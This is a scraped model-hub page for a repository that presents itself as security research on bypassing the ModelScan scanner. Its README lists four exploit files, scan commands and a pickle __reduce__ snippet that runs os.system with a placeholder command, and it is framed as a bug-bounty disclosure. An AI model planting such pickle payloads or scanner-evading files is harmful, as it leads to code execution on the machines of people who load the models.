Downloads · 30 days
0
sandeep1337/modelscan-bypass-research
modelscan-bypass-research is a machine learning model from sandeep1337. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Security Research - Do Not Use in Production
Downloads · 30 days
0
Access
Public
Updated Dec 25, 2025
Repo size
433 B
Likes
0
Public
Click a slice to open those files.
.md3.9 KB · 66%
From the Hugging Face model README
Security Research - Do Not Use in Production
This repository contains proof-of-concept files demonstrating bypass techniques for ModelScan, a popular ML model security scanner. These techniques allow malicious pickle-based model files to evade detection.
joblib.load()joblib.load()joblib.load()__reduce__ methodjoblib.load()# Install ModelScan
pip install modelscan
# Test each exploit
modelscan scan -p exploit_compression_mismatch.joblib.gz
modelscan scan -p exploit_double_compression.joblib.gz.bz2
modelscan scan -p exploit_corrupt_header.joblib.gz
modelscan scan -p exploit_memmap_bypass.joblib
import joblib
# This will execute arbitrary code!
model = joblib.load('exploit_memmap_bypass.joblib')
All four exploits use Python's pickle __reduce__ method for RCE:
def __reduce__(self):
import os
return (os.system, ('malicious_command',))
The vulnerability: ModelScan should detect this pattern but fails when:
Severity: HIGH
Attack Vector:
This research is being submitted to Huntr's bug bounty program for responsible disclosure.
Date: December 25, 2024 Researcher: Security Research Team
⚠️ For Security Research Only
These files are provided for security research and vulnerability disclosure purposes only. Do not use these techniques for malicious purposes. Loading these files will execute code.
Status: Under responsible disclosure to Huntr bug bounty program